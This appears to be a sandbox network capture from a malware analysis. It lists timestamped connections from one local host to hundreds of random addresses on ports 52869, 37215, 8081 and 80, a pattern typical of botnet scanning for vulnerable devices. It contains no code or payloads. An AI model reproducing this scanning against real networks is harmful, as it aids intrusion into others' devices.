Jul 20, 2024 23:05:43.671401978 CEST	52869	43695	181.155.138.141	192.168.2.13
Jul 20, 2024 23:05:43.671402931 CEST	52869	43695	131.228.15.152	192.168.2.13
Jul 20, 2024 23:05:43.671403885 CEST	52869	43695	204.239.21.183	192.168.2.13
Jul 20, 2024 23:05:43.671405077 CEST	52869	43695	203.142.231.123	192.168.2.13
Jul 20, 2024 23:05:43.671406984 CEST	52869	43695	106.105.31.52	192.168.2.13
Jul 20, 2024 23:05:43.671505928 CEST	52869	43695	145.102.69.72	192.168.2.13
Jul 20, 2024 23:05:43.671519041 CEST	52869	43695	166.127.240.93	192.168.2.13
Jul 20, 2024 23:05:43.671521902 CEST	80	47906	95.169.39.23	192.168.2.13
Jul 20, 2024 23:05:43.671521902 CEST	52869	43695	140.214.174.122	192.168.2.13
Jul 20, 2024 23:05:43.671523094 CEST	52869	43695	197.219.51.225	192.168.2.13
Jul 20, 2024 23:05:43.671524048 CEST	52869	43695	40.238.100.169	192.168.2.13
Jul 20, 2024 23:05:43.671528101 CEST	52869	43695	122.30.75.5	192.168.2.13
Jul 20, 2024 23:05:43.671529055 CEST	37215	44719	197.148.126.129	192.168.2.13
Jul 20, 2024 23:05:43.671530962 CEST	37215	44719	197.80.7.211	192.168.2.13
Jul 20, 2024 23:05:43.671534061 CEST	52869	43695	167.162.143.203	192.168.2.13
Jul 20, 2024 23:05:43.671535969 CEST	52869	43695	161.48.58.98	192.168.2.13
Jul 20, 2024 23:05:43.671540022 CEST	52869	43695	14.188.41.20	192.168.2.13
Jul 20, 2024 23:05:43.671540976 CEST	52869	43695	91.34.161.248	192.168.2.13
Jul 20, 2024 23:05:43.671547890 CEST	52869	43695	173.1.195.49	192.168.2.13
Jul 20, 2024 23:05:43.671549082 CEST	52869	43695	91.215.44.162	192.168.2.13
Jul 20, 2024 23:05:43.671551943 CEST	52869	43695	152.165.114.219	192.168.2.13
Jul 20, 2024 23:05:43.671552896 CEST	52869	43695	40.27.99.50	192.168.2.13
Jul 20, 2024 23:05:43.671554089 CEST	52869	43695	165.60.239.141	192.168.2.13
Jul 20, 2024 23:05:43.671555042 CEST	52869	43695	79.216.79.117	192.168.2.13
Jul 20, 2024 23:05:43.671555996 CEST	52869	43695	157.104.97.89	192.168.2.13
Jul 20, 2024 23:05:43.671559095 CEST	52869	43695	146.124.196.193	192.168.2.13
Jul 20, 2024 23:05:43.671562910 CEST	52869	43695	196.251.97.23	192.168.2.13
Jul 20, 2024 23:05:43.671562910 CEST	52869	43695	189.181.162.177	192.168.2.13
Jul 20, 2024 23:05:43.671574116 CEST	52869	43695	168.38.193.113	192.168.2.13
Jul 20, 2024 23:05:43.671575069 CEST	52869	43695	98.219.246.181	192.168.2.13
Jul 20, 2024 23:05:43.671578884 CEST	52869	43695	112.134.30.56	192.168.2.13
Jul 20, 2024 23:05:43.671580076 CEST	52869	43695	204.17.146.89	192.168.2.13
Jul 20, 2024 23:05:43.671581984 CEST	52869	43695	84.59.151.133	192.168.2.13
Jul 20, 2024 23:05:43.671586037 CEST	52869	43695	124.135.28.138	192.168.2.13
Jul 20, 2024 23:05:43.671586990 CEST	52869	43695	102.243.218.41	192.168.2.13
Jul 20, 2024 23:05:43.671587944 CEST	52869	43695	221.203.157.92	192.168.2.13
Jul 20, 2024 23:05:43.671587944 CEST	52869	43695	24.224.53.97	192.168.2.13
Jul 20, 2024 23:05:43.671588898 CEST	37215	44719	197.28.186.140	192.168.2.13
Jul 20, 2024 23:05:43.671591997 CEST	52869	43695	171.157.4.28	192.168.2.13
Jul 20, 2024 23:05:43.671593904 CEST	8081	41110	68.208.130.213	192.168.2.13
Jul 20, 2024 23:05:43.671596050 CEST	52869	43695	57.166.130.207	192.168.2.13
Jul 20, 2024 23:05:43.671596050 CEST	52869	43695	53.212.2.16	192.168.2.13
Jul 20, 2024 23:05:43.671597004 CEST	52869	43695	53.209.140.106	192.168.2.13
Jul 20, 2024 23:05:43.671597958 CEST	52869	43695	221.216.200.224	192.168.2.13
Jul 20, 2024 23:05:43.671598911 CEST	52869	43695	195.226.70.241	192.168.2.13
Jul 20, 2024 23:05:43.671600103 CEST	37215	44719	169.250.82.199	192.168.2.13
Jul 20, 2024 23:05:43.671601057 CEST	37215	44719	155.248.162.136	192.168.2.13
Jul 20, 2024 23:05:43.671602011 CEST	52869	43695	183.31.29.79	192.168.2.13
Jul 20, 2024 23:05:43.671605110 CEST	52869	43695	156.224.105.206	192.168.2.13
Jul 20, 2024 23:05:43.671606064 CEST	52869	43695	64.114.144.94	192.168.2.13
Jul 20, 2024 23:05:43.671607971 CEST	52869	43695	135.228.125.98	192.168.2.13
Jul 20, 2024 23:05:43.671608925 CEST	52869	43695	57.7.250.192	192.168.2.13
Jul 20, 2024 23:05:43.671612024 CEST	80	42788	95.62.175.224	192.168.2.13
Jul 20, 2024 23:05:43.671614885 CEST	8081	33040	20.191.46.135	192.168.2.13
Jul 20, 2024 23:05:43.671931982 CEST	52869	43695	197.239.181.39	192.168.2.13
Jul 20, 2024 23:05:43.671935081 CEST	52869	43695	152.60.51.224	192.168.2.13
Jul 20, 2024 23:05:43.671936989 CEST	52869	43695	220.177.234.64	192.168.2.13
Jul 20, 2024 23:05:43.671938896 CEST	52869	43695	170.227.146.47	192.168.2.13
Jul 20, 2024 23:05:43.671941042 CEST	52869	43695	122.129.95.168	192.168.2.13
Jul 20, 2024 23:05:43.671941996 CEST	52869	43695	66.139.231.189	192.168.2.13
Jul 20, 2024 23:05:43.671942949 CEST	52869	43695	129.84.143.135	192.168.2.13
Jul 20, 2024 23:05:43.671943903 CEST	52869	43695	117.31.136.186	192.168.2.13
Jul 20, 2024 23:05:43.671946049 CEST	52869	43695	125.90.137.252	192.168.2.13
Jul 20, 2024 23:05:43.671946049 CEST	52869	43695	223.1.157.42	192.168.2.13
Jul 20, 2024 23:05:43.671950102 CEST	52869	43695	147.81.32.80	192.168.2.13
Jul 20, 2024 23:05:43.671951056 CEST	52869	43695	141.63.118.255	192.168.2.13
Jul 20, 2024 23:05:43.671952009 CEST	52869	43695	90.243.56.29	192.168.2.13
Jul 20, 2024 23:05:43.671952963 CEST	52869	43695	76.127.105.203	192.168.2.13
Jul 20, 2024 23:05:43.671952963 CEST	52869	43695	90.184.135.171	192.168.2.13
Jul 20, 2024 23:05:43.671955109 CEST	52869	43695	20.54.204.108	192.168.2.13
Jul 20, 2024 23:05:43.671956062 CEST	52869	43695	14.249.153.183	192.168.2.13
Jul 20, 2024 23:05:43.671957016 CEST	52869	43695	1.118.243.36	192.168.2.13
Jul 20, 2024 23:05:43.671960115 CEST	52869	43695	75.106.240.245	192.168.2.13
Jul 20, 2024 23:05:43.671961069 CEST	52869	43695	186.147.73.189	192.168.2.13
Jul 20, 2024 23:05:43.671962023 CEST	52869	43695	113.34.89.105	192.168.2.13
Jul 20, 2024 23:05:43.671962976 CEST	52869	43695	149.179.238.2	192.168.2.13
Jul 20, 2024 23:05:43.671966076 CEST	52869	43695	17.175.70.16	192.168.2.13
Jul 20, 2024 23:05:43.671967030 CEST	52869	43695	78.92.151.119	192.168.2.13
Jul 20, 2024 23:05:43.671967030 CEST	52869	43695	67.119.83.236	192.168.2.13
Jul 20, 2024 23:05:43.671971083 CEST	52869	43695	113.123.20.237	192.168.2.13
Jul 20, 2024 23:05:43.671972036 CEST	52869	43695	163.217.44.4	192.168.2.13
Jul 20, 2024 23:05:43.671974897 CEST	52869	43695	137.163.53.8	192.168.2.13
Jul 20, 2024 23:05:43.671979904 CEST	52869	43695	213.60.193.62	192.168.2.13
Jul 20, 2024 23:05:43.671981096 CEST	52869	43695	2.59.107.213	192.168.2.13
Jul 20, 2024 23:05:43.671983957 CEST	52869	43695	133.7.163.233	192.168.2.13
Jul 20, 2024 23:05:43.671984911 CEST	52869	43695	77.90.252.240	192.168.2.13
Jul 20, 2024 23:05:43.671984911 CEST	52869	43695	35.119.12.2	192.168.2.13
Jul 20, 2024 23:05:43.671989918 CEST	52869	43695	117.59.109.0	192.168.2.13
Jul 20, 2024 23:05:43.671991110 CEST	52869	43695	124.42.228.75	192.168.2.13
Jul 20, 2024 23:05:43.671993017 CEST	52869	43695	125.155.141.188	192.168.2.13
Jul 20, 2024 23:05:43.671996117 CEST	52869	43695	79.243.8.234	192.168.2.13
Jul 20, 2024 23:05:43.672004938 CEST	52869	43695	156.72.162.161	192.168.2.13
Jul 20, 2024 23:05:43.672005892 CEST	52869	43695	13.16.192.59	192.168.2.13
Jul 20, 2024 23:05:43.672007084 CEST	52869	43695	90.206.12.206	192.168.2.13
Jul 20, 2024 23:05:43.672008038 CEST	52869	43695	143.182.219.216	192.168.2.13
Jul 20, 2024 23:05:43.672009945 CEST	52869	43695	130.244.250.133	192.168.2.13
Jul 20, 2024 23:05:43.672010899 CEST	52869	43695	211.113.251.147	192.168.2.13
Jul 20, 2024 23:05:43.672012091 CEST	52869	43695	137.38.178.113	192.168.2.13
Jul 20, 2024 23:05:43.672013044 CEST	52869	43695	148.244.158.133	192.168.2.13
Jul 20, 2024 23:05:43.672013998 CEST	52869	43695	79.206.180.51	192.168.2.13
Jul 20, 2024 23:05:43.672013998 CEST	52869	43695	139.75.120.13	192.168.2.13
Jul 20, 2024 23:05:43.672014952 CEST	52869	43695	37.97.70.111	192.168.2.13
Jul 20, 2024 23:05:43.672015905 CEST	52869	43695	187.112.223.22	192.168.2.13
Jul 20, 2024 23:05:43.672022104 CEST	52869	43695	91.180.180.99	192.168.2.13
Jul 20, 2024 23:05:43.672023058 CEST	52869	43695	199.149.78.113	192.168.2.13
Jul 20, 2024 23:05:43.672025919 CEST	52869	43695	157.179.135.44	192.168.2.13
Jul 20, 2024 23:05:43.672103882 CEST	38598	80	192.168.2.13	95.96.37.96
Jul 20, 2024 23:05:43.672103882 CEST	40848	80	192.168.2.13	95.212.58.133
Jul 20, 2024 23:05:43.672391891 CEST	43695	52869	192.168.2.13	137.61.175.250
Jul 20, 2024 23:05:43.672393084 CEST	43695	52869	192.168.2.13	24.215.34.153
Jul 20, 2024 23:05:43.672393084 CEST	43695	52869	192.168.2.13	119.245.14.75
Jul 20, 2024 23:05:43.672393084 CEST	43695	52869	192.168.2.13	108.78.181.184
Jul 20, 2024 23:05:43.672393084 CEST	43695	52869	192.168.2.13	42.165.180.164
Jul 20, 2024 23:05:43.672393084 CEST	44719	37215	192.168.2.13	24.161.39.183
Jul 20, 2024 23:05:43.672676086 CEST	43695	52869	192.168.2.13	140.65.230.187
Jul 20, 2024 23:05:43.672676086 CEST	43695	52869	192.168.2.13	41.36.32.108
Jul 20, 2024 23:05:43.672676086 CEST	43695	52869	192.168.2.13	59.43.162.247
Jul 20, 2024 23:05:43.672676086 CEST	43695	52869	192.168.2.13	104.251.109.194
Jul 20, 2024 23:05:43.672676086 CEST	43695	52869	192.168.2.13	120.36.54.4
Jul 20, 2024 23:05:43.672676086 CEST	43695	52869	192.168.2.13	47.30.224.29
Jul 20, 2024 23:05:43.672676086 CEST	43695	52869	192.168.2.13	145.63.238.135
Jul 20, 2024 23:05:43.672676086 CEST	43695	52869	192.168.2.13	57.215.71.164
Jul 20, 2024 23:05:43.672853947 CEST	43695	52869	192.168.2.13	20.133.31.212
Jul 20, 2024 23:05:43.672853947 CEST	43695	52869	192.168.2.13	205.103.105.240
Jul 20, 2024 23:05:43.672853947 CEST	43695	52869	192.168.2.13	183.138.21.245
Jul 20, 2024 23:05:43.672853947 CEST	43695	52869	192.168.2.13	201.68.125.145
Jul 20, 2024 23:05:43.672853947 CEST	43695	52869	192.168.2.13	91.59.222.247
Jul 20, 2024 23:05:43.672853947 CEST	43695	52869	192.168.2.13	202.149.230.31
Jul 20, 2024 23:05:43.673167944 CEST	52869	43695	209.98.155.153	192.168.2.13
Jul 20, 2024 23:05:43.673168898 CEST	52869	43695	198.60.0.172	192.168.2.13
Jul 20, 2024 23:05:43.673175097 CEST	52869	43695	111.71.225.30	192.168.2.13
Jul 20, 2024 23:05:43.673183918 CEST	52869	43695	175.3.168.151	192.168.2.13
Jul 20, 2024 23:05:43.673187017 CEST	52869	43695	128.133.203.41	192.168.2.13
Jul 20, 2024 23:05:43.673187971 CEST	52869	43695	108.144.128.142	192.168.2.13
Jul 20, 2024 23:05:43.673188925 CEST	52869	43695	118.176.13.148	192.168.2.13
Jul 20, 2024 23:05:43.673190117 CEST	52869	43695	132.172.43.146	192.168.2.13
Jul 20, 2024 23:05:43.673192978 CEST	8081	46406	120.161.159.9	192.168.2.13
Jul 20, 2024 23:05:43.673193932 CEST	52869	43695	95.186.71.97	192.168.2.13
Jul 20, 2024 23:05:43.673197985 CEST	52869	43695	53.232.116.38	192.168.2.13
Jul 20, 2024 23:05:43.673199892 CEST	52869	43695	17.218.29.200	192.168.2.13
Jul 20, 2024 23:05:43.673202991 CEST	52869	43695	39.235.225.32	192.168.2.13
Jul 20, 2024 23:05:43.673204899 CEST	52869	43695	162.199.43.225	192.168.2.13
Jul 20, 2024 23:05:43.673207045 CEST	52869	43695	72.213.252.244	192.168.2.13
Jul 20, 2024 23:05:43.673207998 CEST	52869	43695	218.3.255.63	192.168.2.13
Jul 20, 2024 23:05:43.673214912 CEST	52869	43695	90.111.124.162	192.168.2.13
Jul 20, 2024 23:05:43.673217058 CEST	52869	43695	182.126.2.209	192.168.2.13
Jul 20, 2024 23:05:43.673218012 CEST	8081	46804	37.111.247.22	192.168.2.13
Jul 20, 2024 23:05:43.673221111 CEST	52869	43695	205.3.18.153	192.168.2.13
Jul 20, 2024 23:05:43.673222065 CEST	52869	43695	187.249.183.7	192.168.2.13
Jul 20, 2024 23:05:43.673227072 CEST	52869	43695	146.249.128.232	192.168.2.13
Jul 20, 2024 23:05:43.673228025 CEST	52869	43695	65.207.71.206	192.168.2.13
Jul 20, 2024 23:05:43.673229933 CEST	52869	43695	153.71.106.110	192.168.2.13
Jul 20, 2024 23:05:43.673230886 CEST	52869	43695	5.49.216.228	192.168.2.13
Jul 20, 2024 23:05:43.673234940 CEST	52869	43695	81.181.244.4	192.168.2.13
Jul 20, 2024 23:05:43.673235893 CEST	52869	43695	160.223.182.244	192.168.2.13
Jul 20, 2024 23:05:43.673238993 CEST	52869	43695	199.225.37.101	192.168.2.13
Jul 20, 2024 23:05:43.673240900 CEST	52869	43695	113.39.80.250	192.168.2.13
Jul 20, 2024 23:05:43.673243999 CEST	52869	43695	79.193.255.88	192.168.2.13
Jul 20, 2024 23:05:43.673244953 CEST	52869	43695	182.194.165.206	192.168.2.13
Jul 20, 2024 23:05:43.673247099 CEST	52869	43695	41.149.43.255	192.168.2.13
Jul 20, 2024 23:05:43.673248053 CEST	52869	43695	147.239.45.115	192.168.2.13
Jul 20, 2024 23:05:43.673252106 CEST	52869	43695	170.27.132.16	192.168.2.13
Jul 20, 2024 23:05:43.673253059 CEST	52869	43695	132.151.53.111	192.168.2.13
Jul 20, 2024 23:05:43.673254013 CEST	52869	43695	34.64.233.21	192.168.2.13
Jul 20, 2024 23:05:43.673254967 CEST	52869	43695	47.217.91.118	192.168.2.13
Jul 20, 2024 23:05:43.673255920 CEST	52869	43695	51.100.100.198	192.168.2.13
Jul 20, 2024 23:05:43.673255920 CEST	52869	43695	45.196.208.132	192.168.2.13
Jul 20, 2024 23:05:43.673259974 CEST	52869	43695	204.144.146.246	192.168.2.13
Jul 20, 2024 23:05:43.673264980 CEST	52869	43695	193.95.209.47	192.168.2.13
Jul 20, 2024 23:05:43.673266888 CEST	52869	43695	113.171.228.126	192.168.2.13
Jul 20, 2024 23:05:43.673278093 CEST	52869	43695	75.86.75.139	192.168.2.13
Jul 20, 2024 23:05:43.675532103 CEST	43695	52869	192.168.2.13	124.68.57.158
Jul 20, 2024 23:05:43.675532103 CEST	43695	52869	192.168.2.13	134.120.250.125
Jul 20, 2024 23:05:43.675532103 CEST	43695	52869	192.168.2.13	178.177.232.215
Jul 20, 2024 23:05:43.675532103 CEST	43695	52869	192.168.2.13	98.244.33.5
Jul 20, 2024 23:05:43.676692963 CEST	43695	52869	192.168.2.13	46.76.248.19
Jul 20, 2024 23:05:43.676692963 CEST	43695	52869	192.168.2.13	154.126.197.184
Jul 20, 2024 23:05:43.676692963 CEST	43695	52869	192.168.2.13	63.215.134.180
Jul 20, 2024 23:05:43.676692963 CEST	43695	52869	192.168.2.13	176.93.47.7
Jul 20, 2024 23:05:43.676692963 CEST	43695	52869	192.168.2.13	108.250.73.167
Jul 20, 2024 23:05:43.676692963 CEST	43695	52869	192.168.2.13	110.164.97.159
Jul 20, 2024 23:05:43.676692963 CEST	43695	52869	192.168.2.13	150.120.30.229
Jul 20, 2024 23:05:43.677584887 CEST	43695	52869	192.168.2.13	18.86.174.31
Jul 20, 2024 23:05:43.677584887 CEST	43695	52869	192.168.2.13	118.235.82.245
Jul 20, 2024 23:05:43.677584887 CEST	43695	52869	192.168.2.13	40.89.68.159
Jul 20, 2024 23:05:43.677584887 CEST	43695	52869	192.168.2.13	99.109.78.80
Jul 20, 2024 23:05:43.677584887 CEST	43695	52869	192.168.2.13	95.119.40.204
Jul 20, 2024 23:05:43.677584887 CEST	43695	52869	192.168.2.13	133.128.193.150
Jul 20, 2024 23:05:43.677584887 CEST	43695	52869	192.168.2.13	216.187.116.111
Jul 20, 2024 23:05:43.677732944 CEST	43695	52869	192.168.2.13	130.137.75.178
Jul 20, 2024 23:05:43.677732944 CEST	43695	52869	192.168.2.13	209.20.9.196
Jul 20, 2024 23:05:43.677732944 CEST	43695	52869	192.168.2.13	34.213.162.194
Jul 20, 2024 23:05:43.677732944 CEST	43695	52869	192.168.2.13	205.154.168.138
Jul 20, 2024 23:05:43.677732944 CEST	43695	52869	192.168.2.13	49.77.184.155
Jul 20, 2024 23:05:43.677732944 CEST	43695	52869	192.168.2.13	201.4.161.250
Jul 20, 2024 23:05:43.677732944 CEST	43695	52869	192.168.2.13	139.211.187.244
Jul 20, 2024 23:05:43.678833961 CEST	43695	52869	192.168.2.13	175.172.87.12
Jul 20, 2024 23:05:43.678833961 CEST	43695	52869	192.168.2.13	216.253.12.238
Jul 20, 2024 23:05:43.678833961 CEST	43695	52869	192.168.2.13	177.249.47.176
Jul 20, 2024 23:05:43.678833961 CEST	43695	52869	192.168.2.13	117.254.249.114
Jul 20, 2024 23:05:43.678833961 CEST	43695	52869	192.168.2.13	80.253.202.77
Jul 20, 2024 23:05:43.678833961 CEST	43695	52869	192.168.2.13	145.122.108.42
Jul 20, 2024 23:05:43.678833961 CEST	43695	52869	192.168.2.13	197.49.208.216
Jul 20, 2024 23:05:43.679729939 CEST	56426	80	192.168.2.13	95.227.200.110
Jul 20, 2024 23:05:43.679729939 CEST	44719	37215	192.168.2.13	157.187.94.235
Jul 20, 2024 23:05:43.682693958 CEST	44719	37215	192.168.2.13	137.106.194.233
Jul 20, 2024 23:05:43.682693958 CEST	44719	37215	192.168.2.13	157.76.12.119
Jul 20, 2024 23:05:43.682782888 CEST	43695	52869	192.168.2.13	136.230.73.186
Jul 20, 2024 23:05:43.682782888 CEST	43695	52869	192.168.2.13	49.130.207.108
Jul 20, 2024 23:05:43.682782888 CEST	43695	52869	192.168.2.13	111.98.4.234
Jul 20, 2024 23:05:43.682782888 CEST	43695	52869	192.168.2.13	136.126.44.127
Jul 20, 2024 23:05:43.682782888 CEST	43695	52869	192.168.2.13	108.102.204.163
Jul 20, 2024 23:05:43.682782888 CEST	43695	52869	192.168.2.13	151.177.65.0
Jul 20, 2024 23:05:43.682782888 CEST	43695	52869	192.168.2.13	115.23.132.185
Jul 20, 2024 23:05:43.683264017 CEST	44719	37215	192.168.2.13	41.86.158.118
Jul 20, 2024 23:05:43.683264017 CEST	43695	52869	192.168.2.13	141.9.106.115
Jul 20, 2024 23:05:43.683264017 CEST	43695	52869	192.168.2.13	222.30.128.87
Jul 20, 2024 23:05:43.683264017 CEST	44719	37215	192.168.2.13	197.217.152.109
Jul 20, 2024 23:05:43.683264017 CEST	43695	52869	192.168.2.13	50.131.229.144
Jul 20, 2024 23:05:43.683264017 CEST	44719	37215	192.168.2.13	41.11.252.131
Jul 20, 2024 23:05:43.683331966 CEST	37472	8081	192.168.2.13	154.38.133.150
Jul 20, 2024 23:05:43.683331966 CEST	53478	80	192.168.2.13	95.65.111.176
Jul 20, 2024 23:05:43.683331966 CEST	56208	8081	192.168.2.13	1.70.190.239
Jul 20, 2024 23:05:43.683331966 CEST	41892	80	192.168.2.13	95.163.39.25
Jul 20, 2024 23:05:43.683332920 CEST	52910	80	192.168.2.13	95.151.87.68
Jul 20, 2024 23:05:43.684206963 CEST	44719	37215	192.168.2.13	41.169.74.163
Jul 20, 2024 23:05:43.684206963 CEST	44719	37215	192.168.2.13	41.26.125.214
Jul 20, 2024 23:05:43.684206963 CEST	44719	37215	192.168.2.13	41.251.91.37
Jul 20, 2024 23:05:43.684206963 CEST	44719	37215	192.168.2.13	197.206.205.116
Jul 20, 2024 23:05:43.685561895 CEST	43695	52869	192.168.2.13	65.107.44.218
Jul 20, 2024 23:05:43.685561895 CEST	43695	52869	192.168.2.13	36.134.134.49
Jul 20, 2024 23:05:43.685561895 CEST	43695	52869	192.168.2.13	23.96.155.238
Jul 20, 2024 23:05:43.685561895 CEST	43695	52869	192.168.2.13	212.42.57.229
Jul 20, 2024 23:05:43.685561895 CEST	43695	52869	192.168.2.13	105.6.125.177
Jul 20, 2024 23:05:43.685561895 CEST	43695	52869	192.168.2.13	206.116.184.171
Jul 20, 2024 23:05:43.685561895 CEST	43695	52869	192.168.2.13	168.97.161.74
Jul 20, 2024 23:05:43.685561895 CEST	43695	52869	192.168.2.13	175.16.206.250
Jul 20, 2024 23:05:43.685724020 CEST	43695	52869	192.168.2.13	206.219.47.99
Jul 20, 2024 23:05:43.685724020 CEST	43695	52869	192.168.2.13	100.141.61.208
Jul 20, 2024 23:05:43.685724020 CEST	43695	52869	192.168.2.13	134.106.205.39
Jul 20, 2024 23:05:43.685724020 CEST	43695	52869	192.168.2.13	217.18.122.132
Jul 20, 2024 23:05:43.685724020 CEST	43695	52869	192.168.2.13	138.76.30.31
Jul 20, 2024 23:05:43.685724020 CEST	43695	52869	192.168.2.13	130.134.16.42
Jul 20, 2024 23:05:43.685724020 CEST	43695	52869	192.168.2.13	205.3.70.172
Jul 20, 2024 23:05:43.685724020 CEST	43695	52869	192.168.2.13	77.111.14.17
Jul 20, 2024 23:05:43.687089920 CEST	43695	52869	192.168.2.13	213.165.138.87
Jul 20, 2024 23:05:43.687089920 CEST	43695	52869	192.168.2.13	203.180.49.188
Jul 20, 2024 23:05:43.687089920 CEST	43695	52869	192.168.2.13	13.188.178.25
Jul 20, 2024 23:05:43.689143896 CEST	43695	52869	192.168.2.13	196.21.230.80
Jul 20, 2024 23:05:43.689557076 CEST	43695	52869	192.168.2.13	123.49.138.184
Jul 20, 2024 23:05:43.689557076 CEST	43695	52869	192.168.2.13	36.120.169.206
Jul 20, 2024 23:05:43.689557076 CEST	43695	52869	192.168.2.13	107.140.70.197
Jul 20, 2024 23:05:43.689557076 CEST	43695	52869	192.168.2.13	180.214.78.69
Jul 20, 2024 23:05:43.689557076 CEST	43695	52869	192.168.2.13	25.80.17.95
Jul 20, 2024 23:05:43.689557076 CEST	43695	52869	192.168.2.13	113.75.5.186
Jul 20, 2024 23:05:43.689557076 CEST	43695	52869	192.168.2.13	154.102.138.104
Jul 20, 2024 23:05:43.689557076 CEST	43695	52869	192.168.2.13	60.118.121.236
Jul 20, 2024 23:05:43.690175056 CEST	43695	52869	192.168.2.13	154.60.223.37
Jul 20, 2024 23:05:43.690175056 CEST	43695	52869	192.168.2.13	61.183.255.120
Jul 20, 2024 23:05:43.690175056 CEST	43695	52869	192.168.2.13	60.236.134.69
Jul 20, 2024 23:05:43.690175056 CEST	43695	52869	192.168.2.13	49.130.24.47
Jul 20, 2024 23:05:43.690175056 CEST	43695	52869	192.168.2.13	17.182.100.77
Jul 20, 2024 23:05:43.690175056 CEST	44719	37215	192.168.2.13	197.44.38.158
Jul 20, 2024 23:05:43.690175056 CEST	44719	37215	192.168.2.13	141.47.219.111
Jul 20, 2024 23:05:43.690597057 CEST	43695	52869	192.168.2.13	194.19.142.0
Jul 20, 2024 23:05:43.690597057 CEST	43695	52869	192.168.2.13	178.49.213.31
Jul 20, 2024 23:05:43.690597057 CEST	43695	52869	192.168.2.13	71.77.85.34
Jul 20, 2024 23:05:43.690597057 CEST	43695	52869	192.168.2.13	213.110.77.193
Jul 20, 2024 23:05:43.690597057 CEST	43695	52869	192.168.2.13	18.253.100.22
Jul 20, 2024 23:05:43.690597057 CEST	43695	52869	192.168.2.13	122.91.173.51
Jul 20, 2024 23:05:43.690597057 CEST	43695	52869	192.168.2.13	53.182.88.227
Jul 20, 2024 23:05:43.691991091 CEST	44719	37215	192.168.2.13	130.152.83.27
Jul 20, 2024 23:05:43.692673922 CEST	54004	80	192.168.2.13	95.83.248.117
Jul 20, 2024 23:05:43.692673922 CEST	44719	37215	192.168.2.13	41.233.21.101
Jul 20, 2024 23:05:43.692903042 CEST	43695	52869	192.168.2.13	32.127.37.55
Jul 20, 2024 23:05:43.692903042 CEST	43695	52869	192.168.2.13	149.65.136.119
Jul 20, 2024 23:05:43.692903042 CEST	43695	52869	192.168.2.13	1.167.89.80
Jul 20, 2024 23:05:43.692903042 CEST	43695	52869	192.168.2.13	91.46.193.211
Jul 20, 2024 23:05:43.692903042 CEST	43695	52869	192.168.2.13	110.31.102.122
Jul 20, 2024 23:05:43.692903042 CEST	43695	52869	192.168.2.13	59.92.175.172
Jul 20, 2024 23:05:43.692903042 CEST	43695	52869	192.168.2.13	89.174.78.249
Jul 20, 2024 23:05:43.694793940 CEST	43695	52869	192.168.2.13	13.30.239.153
Jul 20, 2024 23:05:43.694793940 CEST	43695	52869	192.168.2.13	187.229.25.167
Jul 20, 2024 23:05:43.694794893 CEST	43695	52869	192.168.2.13	199.1.150.84
Jul 20, 2024 23:05:43.694794893 CEST	43695	52869	192.168.2.13	51.219.172.178
Jul 20, 2024 23:05:43.694794893 CEST	43695	52869	192.168.2.13	88.39.99.226
Jul 20, 2024 23:05:43.694794893 CEST	43695	52869	192.168.2.13	105.156.255.78
Jul 20, 2024 23:05:43.695079088 CEST	43695	52869	192.168.2.13	193.70.89.152
Jul 20, 2024 23:05:43.695079088 CEST	43695	52869	192.168.2.13	78.157.236.133
Jul 20, 2024 23:05:43.695079088 CEST	43695	52869	192.168.2.13	86.249.32.59
Jul 20, 2024 23:05:43.695079088 CEST	43695	52869	192.168.2.13	121.26.195.128
Jul 20, 2024 23:05:43.695079088 CEST	43695	52869	192.168.2.13	160.177.186.30
Jul 20, 2024 23:05:43.695079088 CEST	43695	52869	192.168.2.13	115.27.170.112
Jul 20, 2024 23:05:43.695079088 CEST	43695	52869	192.168.2.13	5.48.114.100
Jul 20, 2024 23:05:43.695079088 CEST	43695	52869	192.168.2.13	61.32.175.248
Jul 20, 2024 23:05:43.695991039 CEST	43695	52869	192.168.2.13	86.19.94.75
Jul 20, 2024 23:05:43.695991039 CEST	43695	52869	192.168.2.13	96.177.170.235
Jul 20, 2024 23:05:43.695991039 CEST	43695	52869	192.168.2.13	46.16.170.236
Jul 20, 2024 23:05:43.695991039 CEST	43695	52869	192.168.2.13	151.233.50.146
Jul 20, 2024 23:05:43.695991039 CEST	43695	52869	192.168.2.13	80.194.79.151
Jul 20, 2024 23:05:43.695991039 CEST	43695	52869	192.168.2.13	130.212.113.212
Jul 20, 2024 23:05:43.696144104 CEST	43695	52869	192.168.2.13	117.53.15.197
Jul 20, 2024 23:05:43.696144104 CEST	43695	52869	192.168.2.13	12.223.167.72
Jul 20, 2024 23:05:43.696144104 CEST	43695	52869	192.168.2.13	217.97.69.222
Jul 20, 2024 23:05:43.696144104 CEST	43695	52869	192.168.2.13	121.180.27.242
Jul 20, 2024 23:05:43.696144104 CEST	43695	52869	192.168.2.13	109.52.219.98
Jul 20, 2024 23:05:43.696144104 CEST	43695	52869	192.168.2.13	142.169.112.232
Jul 20, 2024 23:05:43.696144104 CEST	43695	52869	192.168.2.13	165.114.181.26
Jul 20, 2024 23:05:43.696144104 CEST	43695	52869	192.168.2.13	54.247.39.62
Jul 20, 2024 23:05:43.697014093 CEST	44719	37215	192.168.2.13	41.253.146.19
Jul 20, 2024 23:05:43.697014093 CEST	44719	37215	192.168.2.13	197.5.6.138
Jul 20, 2024 23:05:43.697014093 CEST	44719	37215	192.168.2.13	41.190.71.241
Jul 20, 2024 23:05:43.699023962 CEST	52869	43695	75.86.75.139	192.168.2.13
Jul 20, 2024 23:05:43.699033022 CEST	52869	43695	221.199.5.40	192.168.2.13
Jul 20, 2024 23:05:43.699028015 CEST	43695	52869	192.168.2.13	95.80.160.35
Jul 20, 2024 23:05:43.699028015 CEST	44719	37215	192.168.2.13	153.146.10.66
Jul 20, 2024 23:05:43.699035883 CEST	52869	43695	216.172.222.203	192.168.2.13
Jul 20, 2024 23:05:43.699038982 CEST	52869	43695	86.149.0.96	192.168.2.13
Jul 20, 2024 23:05:43.699040890 CEST	52869	43695	201.153.52.54	192.168.2.13
Jul 20, 2024 23:05:43.699042082 CEST	52869	43695	47.112.130.62	192.168.2.13
Jul 20, 2024 23:05:43.699043036 CEST	52869	43695	119.69.52.112	192.168.2.13
Jul 20, 2024 23:05:43.699043989 CEST	52869	43695	156.224.60.129	192.168.2.13
Jul 20, 2024 23:05:43.699043989 CEST	52869	43695	199.216.137.198	192.168.2.13
Jul 20, 2024 23:05:43.699047089 CEST	52869	43695	220.121.235.237	192.168.2.13
Jul 20, 2024 23:05:43.699048042 CEST	52869	43695	122.21.9.31	192.168.2.13
Jul 20, 2024 23:05:43.699048996 CEST	52869	43695	207.116.143.87	192.168.2.13
